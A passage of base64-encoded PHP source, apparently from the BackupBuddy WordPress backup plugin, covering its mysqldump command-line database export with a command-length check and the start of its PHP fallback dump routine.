0X2ZpbGUgPSAkb3V0cHV0X2RpcmVjdG9yeSAuICR0YWJsZXNbMF0gLiAnLnNxbCc7CgkJfSBlbHNlIHsgLy8gTXVsdGlwbGUgdGFibGVzIHNvIHVzZSBnZW5lcmFpYyBkYl8xLnNxbCBmaWxlIHRvIGR1bXAgaW50by4KCQkJJG91dHB1dF9maWxlID0gJG91dHB1dF9kaXJlY3RvcnkgLiAnZGJfMS5zcWwnOwoJCX0KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnc3FsRmlsZScsIGJhc2VuYW1lKCAkb3V0cHV0X2ZpbGUgKSApOyAvLyBUZWxscyBzdGF0dXMgY2hlY2tlciB3aGljaCBmaWxlIHRvIHJlcXVlc3Qgc2l6ZSBkYXRhIGZvciB3aGVuIHBvbGxpbmcgc2VydmVyLgoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBQcmVwYXJpbmcgdG8gcnVuIGNvbW1hbmQgbGluZSBteXNxbGR1bXAgdmlhIGV4ZWMoKS4nICk7CgkJJGV4Y2x1ZGVfY29tbWFuZCA9ICcnOwoKCQkkdGFibGVzX3N0cmluZyA9IGltcGxvZGUoICcgJywgJHRhYmxlcyApOyAvLyBTcGVjaWZpYyB0YWJsZXMgbGlzdGVkIHRvIGR1bXAuCgoJCS8qKiBCZWdpbiBwcmVwYXJpbmcgY29tbWFuZCAqLwoJCS8vIEhhbmRsZSBXaW5kb3dzIHdhbnRpbmcgLmV4ZS4KCQlpZiAoIHN0cmlzdHIoIFBIUF9PUywgJ1dJTicgKSAmJiAhIHN0cmlzdHIoIFBIUF9PUywgJ0RBUldJTicgKSApIHsgLy8gUnVubmluZyBXaW5kb3dzLiAobm90IGRhcndpbikuCgkJCSRjb21tYW5kID0gJHRoaXMtPl9teXNxbF9kaXJlY3RvcnkgLiAnbXNxbGR1bXAuZXhlJzsKCQl9IGVsc2UgewoJCQkkY29tbWFuZCA9ICR0aGlzLT5fbXlzcWxfZGlyZWN0b3J5IC4gJ215c3FsZHVtcCc7CgkJfQoKCQkvLyBIYW5kbGUgcG9zc2libGUgc29ja2V0cy4KCQlpZiAoICcnICE9ICR0aGlzLT5fZGF0YWJhc2Vfc29ja2V0ICkgewoJCQkkY29tbWFuZCAuPSAiIC0tc29ja2V0PXskdGhpcy0+X2RhdGFiYXNlX3NvY2tldH0iOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBVc2luZyBzb2NrZXRzIGluIGNvbW1hbmQuJyApOwoJCX0KCgkJLy8gSGFuZGxlIG92ZXJyaWRpbmcgcG9ydC4KCQlpZiAoICcnICE9ICR0aGlzLT5fZGF0YWJhc2VfcG9ydCApIHsKCQkJJGNvbW1hbmQgLj0gIiAtLXBvcnQ9eyR0aGlzLT5fZGF0YWJhc2VfcG9ydH0iOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBVc2luZyBjdXN0b20gcG9ydCBgJyAuICR0aGlzLT5fZGF0YWJhc2VfcG9ydCAuICdgIGJhc2VkIG9uIERCX0hPU1Qgc2V0dGluZy4nICk7CgkJfQoKCQkvLyBTZXQgZGVmYXVsdCBjaGFyc2V0IGlmIGF2YWlsYWJsZS4KCQlnbG9iYWwgJHdwZGI7CgkJaWYgKCBpc3NldCggJHdwZGIgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnd3BkYiBjaGFyc2V0IG92ZXJyaWRlIGZvciBjb21tYW5kbGluZTogJyAuICR3cGRiLT5jaGFyc2V0ICk7CgkJCSRjb21tYW5kIC49ICcgLS1kZWZhdWx0LWNoYXJhY3Rlci1zZXQ9JyAuICR3cGRiLT5jaGFyc2V0OwoJCX0KCgkJLyoqCgkJVE9ETzogV0lORE9XUyBOT1RFOiBpbmZvcm1hdGlvbiBpbiB0aGUgTXlTUUwgZG9jdW1lbnRhdGlvbiBhYm91dCBteXNxbGR1bXAgbmVlZGluZyB0byB1c2UgLS1yZXN1bHQtZmlsZT0gb24gV2luZG93cyB0byBhdm9pZCBzb21lIGlzc3VlIHdpdGggbGluZSBlbmRpbmdzLgoKCQlOb3RlczoKCQkJLS1za2lwLW9wdCAgICAgICAgU2tpcHMgc29tZSBkZWZhdWx0IG9wdGlvbnMuIE1VU1QgYWRkIGJhY2sgaW4gY3JlYXRlLW9wdGlvbnMgZWxzZSBhdXRvaW5jcmVtZW50IHdpbGwgYmUgbG9zdCEgU2VlIGh0dHA6Ly9kZXYubXlzcWwuY29tL2RvYy9yZWZtYW4vNS41L2VuL215c3FsZHVtcC5odG1sI29wdGlvbl9teXNxbGR1bXBfb3B0CgkJCS0tcXVpY2sKCQkJLS1za2lwLWNvbW1lbnRzICAgRG9udCBib3RoZXIgd2l0aCBleHRyYSBjb21tZW50cy4KCQkJLS1jcmVhdGUtb3B0aW9ucyAgUmVxdWlyZWQgdG8gYWRkIGluIGF1dG8gaW5jcmVtZW50IG9wdGlvbi4KCQkJLS1kaXNhYmxlLWtleXMgICAgUHJldmVudCByZS1pbmRleGluZyB0aGUgZGF0YWJhc2UgYWZ0ZXIgZWFjaCBhbmQgZXZlcnkgaW5zZXJ0IHVudGlsIHRoZSBlbnRpcmUgdGFibGUgaXMgaW5zZXJ0ZWQuIFByZXZlbnRzIHRpbWVvdXRzIHdoZW4gYSBkYiB0YWJsZSBoYXMgZnVsbHRleHQga2V5cyBlc3BlY2lhbGx5LgoJCSovCgkJJGNvbW1hbmQgLj0gJyAtLWhvc3Q9JyAuIGVzY2FwZXNoZWxsYXJnKCAkdGhpcy0+X2RhdGFiYXNlX2hvc3QgKSAuICcgLS11c2VyPScgLiBlc2NhcGVzaGVsbGFyZyggJHRoaXMtPl9kYXRhYmFzZV91c2VyICkgLiAnIC0tcGFzc3dvcmQ9JyAuIGVzY2FwZXNoZWxsYXJnKCAkdGhpcy0+X2RhdGFiYXNlX3Bhc3MgKSAuICIgLS1za2lwLW9wdCAtLXF1aWNrIC0tZGlzYWJsZS1rZXlzIC0tc2tpcC1jb21tZW50cyAtLWNyZWF0ZS1vcHRpb25zIHskZXhjbHVkZV9jb21tYW5kfSAiIC4gZXNjYXBlc2hlbGxhcmcoICR0aGlzLT5fZGF0YWJhc2VfbmFtZSApIC4gIiB7JHRhYmxlc19zdHJpbmd9IDI+JjEgPj4geyRvdXRwdXRfZmlsZX0iOyAvLyAyPiYxIHJlZGlyZWN0IFNUREVSUiB0byBTVERPVVQuCgkJLyoqKioqKioqKiogRW5kIHByZXBhcmluZyBjb21tYW5kICovCgoJCS8qKioqKioqKioqIEJlZ2luIGNvbW1hbmQgbGluZSBsZW5ndGggY2hlY2sgKi8KCQkvLyBTaW1wbGUgY2hlY2sgY29tbWFuZCBsaW5lIGxlbmd0aC4gSWYgaXQgYXBwZWFycyBsb25nIHRoZW4gZG8gYWR2YW5jZWQgY2hlY2sgdmlhIGNvbW1hbmQgbGluZSB0byBzZWUgd2hhdCBhY3R1YWwgbGltaXQgaXMuIEZhbGxzIGJhY2sgaWYgdG9vIGxvbmcgdG8gZXhlY3V0ZSBvdXIgcHJvY2VzcyBpbiBvbmUgZ28uCgkJLy8gVE9ETzogSW4gdGhlIGZ1dHVyZSBoYW5kbGUgZmFsbGJhY2sgYmV0dGVyIGJ5IHBvc3NpYmx5IGJyZWFraW5nIHRoZSBjb21tYW5kIHVwIGlmIHBvc3NpYmxlIHJhdGhlciB0aGFuIHN0cmljdCBmYWxsYmFjayB0byBQSFAgZHVtcGluZy4KCQkkY29tbWFuZF9sZW5ndGggPSBzdHJsZW4oICRjb21tYW5kICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogQ29tbWFuZCBsZW5ndGg6IGAnIC4gJGNvbW1hbmRfbGVuZ3RoIC4gJ2AuJyApOwoJCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snaWdub3JlX2NvbW1hbmRfbGVuZ3RoX2NoZWNrJ10gKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IEFkdmFuY2VkIG9wdGlvbiB0byBza2lwIGNvbW1hbmQgbGluZSBsZW5ndGggY2hlY2sgcmVzdWx0cyBpbiBlbmFibGVkLiBTa2lwcGluZy4nICk7CgkJfSBlbHNlIHsKCQkJaWYgKCAkY29tbWFuZF9sZW5ndGggPiBzZWxmOjpDT01NQU5EX0xJTkVfTEVOR1RIX0NIRUNLX1RIUkVTSE9MRCApIHsgLy8gQXJiaXRyYXJ5IGxlbmd0aC4gU2VlbXMgc3RhbmRhcmQgbWF4IGxlbmd0aHMgYXJlID4gMjAwMDAwIG9uIExpbnV4LiB+ODYwMCBvbiBXaW5kb3dzPwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogQ29tbWFuZCBsaW5lIGxlbmd0aCBvZiBgJyAuICRjb21tYW5kX2xlbmd0aCAuICdgIChieXRlcykgaXMgbGFyZ2UgZW5vdWdoICggPicgLiBzZWxmOjpDT01NQU5EX0xJTkVfTEVOR1RIX0NIRUNLX1RIUkVTSE9MRCAuICcgKSB0byB2ZXJpZnkgY29tcGF0aWJpbGl0eS4gQ2hlY2tpbmcgbWF4aW11bSBhbGxvd2VkIGNvbW1hbmQgbGluZSBsZW5ndGggZm9yIHRoaXMgc3l0ZW0uJyApOwoKCQkJCS8vIENoZWNrIG1heCBjb21tYW5kIGxlbmd0aCBzdXBwb3J0ZWQgYnkgc2VydmVyLgoJCQkJbGlzdCggJGV4ZWNfb3V0cHV0LCAkZXhlY19leGl0X2NvZGUgKSA9ICR0aGlzLT5fY29tbWFuZGJ1ZGR5LT5leGVjdXRlKCAnZWNobyAkKCggJChnZXRjb25mIEFSR19NQVgpIC0gJChlbnYgfCB3YyAtYykgKSknICk7IC8vIFZhbHVlIHdpbGwgYmUgYSBudW1iZXIuIFRoaXMgaXMgdGhlIG1heGltdW0gYnl0ZSBzaXplIG9mIHRoZSBjb21tYW5kIGxpbmUuCgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogQ29tbWFuZCBvdXRwdXQ6IGAnIC4gaW1wbG9kZSggJywnLCAkZXhlY19vdXRwdXQgKSAuICdgOyBFeGl0IGNvZGU6IGAnIC4gJGV4ZWNfZXhpdF9jb2RlIC4gJ2A7IEV4aXQgY29kZSBkZXNjcmlwdGlvbjogYCcgLiBwYl9iYWNrdXBidWRkeTo6JGZpbGVzeXN0ZW0tPmV4aXRfY29kZV9sb29rdXAoICRleGVjX2V4aXRfY29kZSApIC4gJ2AnICk7CgkJCQlpZiAoIGlzX2FycmF5KCAkZXhlY19vdXRwdXQgKSAmJiBpc19udW1lcmljKCAkZXhlY19vdXRwdXRbMF0gKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBEZXRlY3RlZCBtYXhpbXVtIGNvbW1hbmQgbGluZSBsZW5ndGggZm9yIHRoaXMgc3lzdGVtOiBgJyAuICRleGVjX291dHB1dFswXSAuICdgLicgKTsKCQkJCQlpZiAoICRjb21tYW5kX2xlbmd0aCA+ICggJGV4ZWNfb3V0cHV0WzBdIC0gMTAwICkgKSB7IC8vIENoZWNrIGlmIHdlIGV4Y2VlZCBtYXhpbXVtIGxlbmd0aC4gU3VidHJhY3QgMTAwIHRvIG1ha2Ugcm9vbSBmb3IgcGF0aCBkZWZpbml0aW9uLgoJCQkJCQlpZiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2lnbm9yZV9jb21tYW5kX2xlbmd0aF9jaGVjayddICkgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogVGhpcyBzeXN0ZW1cJ3MgbWF4aW11bSBjb21tYW5kIGxpbmUgbGVuZ3RoIG9mIGAnIC4gJGV4ZWNfb3V0cHV0WzBdIC4gJ2AgaXMgc2hvcnRlciB0aGFuIGNvbW1hbmQgbGVuZ3RoIG9mIGAnIC4gJGNvbW1hbmRfbGVuZ3RoIC4gJ2AuIEhvd2V2ZXIsIHRoZSBvcHRpb24gdG8gaWdub3JlIGNvbW1hbmQgbGluZSBsZW5ndGggY2hlY2sgaXMgZW5hYmxlZCBiYXNlZCBvbiBzZXR0aW5ncyBzbyBjb250aW51aW5nIGFueXdheXMuJyApOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJaWYgKCAkZXhlY19vdXRwdXRbMF0gPCAwICkgewoJCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ215c3FsYnVkZHk6IFRoaXMgc3lzdGVtIHJlcG9ydGVkIGEgbmVnYXRpdmUgbnVtYmVyIGZvciB0aGUgbWF4aW11bSBjb21tYW5kIGxpbmUgbGVuZ3RoLiBUaGlzIG1lYW5zIHRoYXQgQmFja3VwQnVkZHkgY2Fubm90IHNhZmVseSBkZXRlY3QgdGhpcyBzeXN0ZW1cJ3MgbGltaXQuICBUaGlzIGNoZWNrIGNhbiBiZSBvdmVycmlkZGVuIGJ5IGVuYWJsaW5nIHRoZSAiU2tpcCBjb21tYW5kIGxpbmUgbGVuZ3RoIGNoZWNrIiBhZHZhbmNlZCBvcHRpb24gb24gdGhlIFNldHRpbmdzIHBhZ2UgaW4gQmFja3VwQnVkZHkgYXMgYSB3b3JrYXJvdW5kLiBnZXRfY29uZiBBUkdfTUFYIGxpa2VseSBmYWlsZWQuJyApOwoJCQkJCQkJfQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogVGhpcyBzeXN0ZW1cJ3MgbWF4aW11bSBjb21tYW5kIGxpbmUgbGVuZ3RoIG9mIGAnIC4gJGV4ZWNfb3V0cHV0WzBdIC4gJ2AgaXMgc2hvcnRlciB0aGFuIGNvbW1hbmQgbGVuZ3RoIG9mIGAnIC4gJGNvbW1hbmRfbGVuZ3RoIC4gJ2AuIEZhbGxpbmcgYmFjayBpbnRvIGNvbXBhdGliaWxpdHkgbW9kZSB0byBpbnN1cmUgZGF0YWJhc2UgZHVtcCBpbnRlZ3JpdHkuJyApOwoJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogVGhpcyBzeXN0ZW1cJ3MgbWF4aW11bSBjb21tYW5kIGxpbmUgbGVuZ3RoIG9mIGAnIC4gJGV4ZWNfb3V0cHV0WzBdIC4gJ2AgaXMgbG9uZ2VyIHRoYW4gY29tbWFuZCBsZW5ndGggb2YgYCcgLiAkY29tbWFuZF9sZW5ndGggLiAnYC4gQ29udGludWluZy4nICk7CgkJCQkJfQoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBVbmFibGUgdG8gZGV0ZXJtaW5lIG1heGltdW0gY29tbWFuZCBsaW5lIGxlbmd0aC4gRmFsbGluZyBiYWNrIGludG8gY29tcGF0aWJpbGl0eSBtb2RlIHRvIGluc3VyZSBkYXRhYmFzZSBkdW1wIGludGVncml0eS4nICk7CgkJCQkJcmV0dXJuIGZhbHNlOyAvLyBGYWxsIGJhY2sgdG8gY29tcGF0aWJpbHR5IG1vZGUganVzdCBpbiBjYXNlLgoJCQkJfQoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogQ29tbWFuZCBsaW5lIGxlbmd0aCBsZW5ndGggY2hlY2sgc2tpcHBlZCBzaW5jZSBpdCBpcyBsZXNzIHRoYW4gY2hlY2sgdGhyZXNob2xkIGAnIC4gc2VsZjo6Q09NTUFORF9MSU5FX0xFTkdUSF9DSEVDS19USFJFU0hPTEQgLiAnYC4nICk7CgkJCX0KCQl9CgkJLyoqKioqKioqKiogRW5kIGNvbW1hbmQgbGluZSBsZW5ndGggY2hlY2sgKi8KCgkJLy8gUnVuIGNvbW1hbmQuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogUnVubmluZyBkdW1wIHZpYSBjb21tYW5kbGluZSBuZXh0LicgKTsKCQlsaXN0KCAkZXhlY19vdXRwdXQsICRleGVjX2V4aXRfY29kZSApID0gJHRoaXMtPl9jb21tYW5kYnVkZHktPmV4ZWN1dGUoICRjb21tYW5kICk7CgoJCS8vIENoZWNrIGZvciB1bmV4cGVjdGVkIG15c3FsIGNvbW1hbmQgbGluZSByZXNwb25zZSB0ZXh0Li4uCgkJaWYgKCBpc19hcnJheSggJGV4ZWNfb3V0cHV0ICkgKSB7CgkJCWZvcmVhY2ggKCAkZXhlY19vdXRwdXQgYXMgJGV4ZWNfb3V0cHV0X2xpbmUgKSB7CgkJCQlpZiAoIGZhbHNlICE9PSBzdHJpc3RyKCAkZXhlY19vdXRwdXRfbGluZSwgJ3VucmVjb2duaXplZCBvcHRpb24nICkgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsZHVtcCBkaWQgbm90IHJlY29nbml6ZSBvbmUgb3IgbW9yZSBvcHRpb25zLiBWZXJpZnkgbXlzcWxkdW1wIHZlcnNpb24gaXMgdXAgdG8gZGF0ZS4gRmFsbGluZyBiYWNrIHRvIGNvbXBhdGliaWxpdHkgbW9kZS4gRXJyb3I6IGAnIC4gJGV4ZWNfb3V0cHV0X2xpbmUgLiAnYC4nICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJfQoKCQlAaW5jbHVkZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvd3BkYnV0aWxzL3dwZGJ1dGlscy5waHAnOwoJCWlmICggY2xhc3NfZXhpc3RzKCAncGx1Z2luYnVkZHlfd3BkYnV0aWxzJyApICkgewoJCQlnbG9iYWwgJHdwZGI7CgkJCSRkYmhlbHBlciA9IG5ldyBwbHVnaW5idWRkeV93cGRidXRpbHMoICR3cGRiICk7CgkJCWlmICggISAkZGJoZWxwZXItPmtpY2soKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsIF9fKCAnRGF0YWJhc2UgU2VydmVyIGhhcyBnb25lIGF3YXksIHVuYWJsZSB0byBzY2hlZHVsZSBuZXh0IGJhY2t1cCBzdGVwLiBUaGUgYmFja3VwIGNhbm5vdCBjb250aW51ZS4gVGhpcyBpcyBtb3N0IG9mdGVuIGNhdXNlZCBieSBteXNxbCBydW5uaW5nIG91dCBvZiBtZW1vcnkgb3IgdGltaW5nIG91dCBmYXIgdG9vIGVhcmx5LiBQbGVhc2UgY29udGFjdCB5b3VyIGhvc3QuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdoYWx0U2NyaXB0JywgJycgKTsgLy8gSGFsdCBKUyBvbiBwYWdlLgoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0RhdGFiYXNlIFNlcnZlciBjb25uZWN0aW9uIHN0YXR1cyB1bnZlcmlmaWVkLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJfQoKCQkvLyBDaGVjayB0aGUgcmVzdWx0IG9mIHRoZSBleGl0IGNvZGUuCgkJaWYgKCAnMCcgPT0gJGV4ZWNfZXhpdF9jb2RlICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBDb21tYW5kIGFwcGVhcnMgdG8gc3VjY2VlZGVkIGFuZCByZXR1cm5lZCBwcm9wZXIgcmVzcG9uc2UuJyApOwoJCQlpZiAoIGZpbGVfZXhpc3RzKCAkb3V0cHV0X2ZpbGUgKSApIHsgLy8gU1FMIGZpbGUgZm91bmQuIFNVQ0NFU1MhCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdteXNxbGJ1ZGR5OiBEYXRhYmFzZSBkdW1wIFNRTCBmaWxlIGV4aXN0cy4nICk7CgoJCQkJLy8gRGlzcGxheSBmaW5hbCBTUUwgZmlsZSBzaXplLgoJCQkJJHNxbF9maWxlc2l6ZSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoIGZpbGVzaXplKCAkb3V0cHV0X2ZpbGUgKSApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluYWwgU1FMIGRhdGFiYXNlIGR1bXAgZmlsZSBzaXplIG9mIGAnIC4gYmFzZW5hbWUoICRvdXRwdXRfZmlsZSApIC4gJ2A6ICcgLiAkc3FsX2ZpbGVzaXplIC4gJy4nICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZmluaXNoVGFibGVEdW1wJywgJycgKTsKCgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfSBlbHNlIHsgLy8gU1FMIGZpbGUgTUlTU0lORy4gRkFJTFVSRSEKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbGJ1ZGR5OiBUaG91Z2ggY29tbWFuZCByZXBvcnRlZCBzdWNjZXNzIGRhdGFiYXNlIGR1bXAgU1FMIGZpbGUgaXMgbWlzc2luZzogYCcgLiAkb3V0cHV0X2ZpbGUgLiAnYC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBXYXJuaW5nICM5MDMwLiBDb21tYW5kIGRpZCBub3QgZXhpdCBub3JtYWxseS4gVGhpcyBpcyBub3JtYWwgaXMgeW91ciBzZXJ2ZXIgZG9lcyBub3Qgc3VwcG9ydCBjb21tYW5kIGxpbmUgbXlzcWwgZnVuY3Rpb25hbGl0eS4gRmFsbGluZyBiYWNrIHRvIGRhdGFiYXNlIGR1bXAgY29tcGF0aWJpbGl0eSBtb2Rlcy4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIFNob3VsZCBuZXZlciBnZXQgdG8gaGVyZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWxidWRkeTogVW5jYXVnaHQgZXhjZXB0aW9uICM0NTM4OTAuJyApOwoJCXJldHVybiBmYWxzZTsKCgl9IC8vIEVuZCBfZHVtcF9jb21tYW5kbGluZSgpLgoKCgoJLyoKCSAgX3BocGR1bXAoKQoJICoKCSAqCgkgKgoJICoJQHBhcmFtCQkJCSRvdXRwdXRfZGlyZWN0b3J5CgkgKglAcGFyYW0JCQkJJHRhYmxlcwoJICoJQHJldHVybgkJbWl4ZWQJCQkJCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBvbiBmYWlsLCBhcnJheSggcmVtYWluaW5nX3RhYmxlcywgcm93X3N0YXJ0ICkgb24gY2h1bmtpbmcuCgkgKi8KCS8qKgoJICogUEhQLWJhc2VkIGR1bXBpbmcgb2YgU1FMIGRhdGEuIENvbXBhdGliaWxpdHkgbW9kZS4gV2FzIG9ubHkgbW9kZSBwcmUtMy4wLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG91dHB1dF9kaXJlY3RvcnkgICAgIERpcmVjdG9yeSB0byBvdXRwdXQgdG8uIE1heSBhbHNvIGJlIHVzZWQgYXMgYSB0ZW1wb3JhcnkgZmlsZSBsb2NhdGlvbi4gVHJhaWxpbmcgc2xhc2ggcmVxdWlyZWQuIGR1bXAoKSBhdXRvLWFkZHMgdHJhaWxpbmcgc2xhc2ggYmVmb3JlIHBhc3NpbmcuCgkgKiBAcGFyYW0gYXJyYXkgICR0YWJsZXMgICAgICAgICAgICAgICBBcnJheSBvZiB0YWJsZXMgdG8gZHVtcC4KCSAqIEBwYXJhbSBpbnQgICAgJHJlc3VtZV9zdGFydGluZ19yb3cgIFN0YXJ0aW5nIHJvdywgaWYgYW55LiBPbmx5IHdvcmtzIHdpdGggUEhQIG1vZGUuIFVzZWQgd2l0aCBjaHVua2luZy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIHN1Y2Nlc3NmdWwgb3Igbm90LgoJICovCglwcml2YXRlIGZ1bmN0aW9uIF9kdW1wX3BocCggJG91dHB1dF9kaXJlY3RvcnksICR0YWJsZXMsICRyZXN1bWVfc3RhcnRpbmdfcm93ID0gMCApIHsKCQkkdGhpcy0+dGltZV9zdGFydCAgICAgICAgICAgPSBtaWNyb3RpbWUoIHRydWUgKTsKCQkkbGFzdF9maWxlX3NpemVfb3V0cHV0ICAgICAgPSBtaWNyb3RpbWUoIHRydWUgKTsKCQkkb3V0cHV0X2ZpbGVfc2l6ZV9ldmVyeV9tYXggPSA1OyAvLyBPdXRwdXQgY3VycmVudCBTUUwgZmlsZSBzaXplIG5vIG1vcmUgb2Z0ZW4gdGhhbiB0aGlzLiBPbmx5IGNoZWNrcyBpZiBpdCBoYXMgYmVlbiBlbm91Z2ggdGltZSBvbmNlIGVhY2ggYnVyc3Qgb2YgbWF4IHJvd3MgcGVyIHNlbGVjdCBpcyBwcm9jZXNzZWQuCgoJCSRtYXhfcm93c19wZXJfc2VsZWN0ID0gJHRoaXMtPl9tYXhfcm93c19wZXJfc2VsZWN0OwoKCQlpZiAoICRyZXN1bWVfc3RhcnRpbmdfcm93ID4gMCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVzdW1pbmcgY2h1bmtlZCBkdW1wIGF0IHJvdyBgJyAuICRyZXN1bWVfc3RhcnRpbmdfcm93IC4gJ2AuJyApOwoJCX0KCgkJZ2xvYmFsICR3cGRiOwoJCWlmICggISBpc19vYmplY3QoICR3cGRiICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdXb3JkUHJlc3MgZGF0YWJhc2Ugb2JqZWN0ICR3cGRiIGRpZCBub3QgZXhpc3QuIFRoaXMgc2hvdWxkIG5vdCBoYXBwZW4uJyApOwoJCQllcnJvcl9sb2coICdXb3JkUHJlc3MgZGF0YWJhc2Ugb2JqZWN0ICR3cGRiIGRpZCBub3QgZXhpc3QuIFRoaXMgc2hvdWxkIG5vdCBoYXBwZW4uIEJhY2t1cEJ1ZGR5IEVycm9yICM4OTQ1NTg3OTczLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJGluc2VydF9zcWwgPSAnJzsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBEQiBraWNrZXIgZm9yIHVzZSBsZXRlciBpbiBjYXNlIGRhdGFiYXNlIGdvZXMgYXdheS4nICk7CgkJQGluY2x1ZGVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3dwZGJ1dGlscy93cGRidXRpbHMucGhwJzsKCQlpZiAoIGNsYXNzX2V4aXN0cyggJ3BsdWdpbmJ1ZGR5X3dwZGJ1dGlscycgKSApIHsKCQkJZ2xvYmFsICR3cGRiOwoJCQkkZGJoZWxwZXIgPSBuZXcgcGx1Z2luYnVkZHlfd3BkYnV0aWxzKCAkd3BkYiApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdEYXRhYmFzZSBTZXJ2ZXIgY29ubmVjdGlvbiBzdGF0dXMgd2lsbCBub3QgYmUgdmVyaWZpZWQgYXMga2lja2VyIGlzIG5vdCBhdmFpbGFibGUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQl9CgoJCWdsb2JhbCAkd3BkYjsgLy8gVXNlZCBsYXRlciBmb3IgY2hlY2tpbmcgdGhhdCB3ZSBhcmUgc3RpbGwgY29ubmVjdGVkIHRvIERCLgoKCQkvLyBJdGVyYXRlIHRocm91Z2ggYWxsIHRoZSB0YWJsZXMgdG8gYmFja3VwLgoJCS8vIFRPRE86IEZ1dHVyZSBhYmlsaXR5IHRvIGJyZWFrIHVwIERCIGV4cG9ydGluZyB0byBtdWx0aXBsZSBwYWdlIGxvYWRzIGlmIG5lZWRlZC4KCQkkcmVtYWluaW5nX3RhYmxlcyA9ICR0YWJsZXM7CgkJZm9yZWFjaCAoICR0YWJsZXMgYXMgJHRhYmxlX2tleSA9PiAkdGFibGUgKSB7CgkJCSRfY291bnQgICAgID0gMDsKCQkJJGluc2VydF9zcWwgPSAnJzsKCgkJCWlmICggJHJlc3VtZV9zdGFydGluZ19yb3cgPiAwICkgewoJCQkJcGJfYmFja3VwYnVkZHk6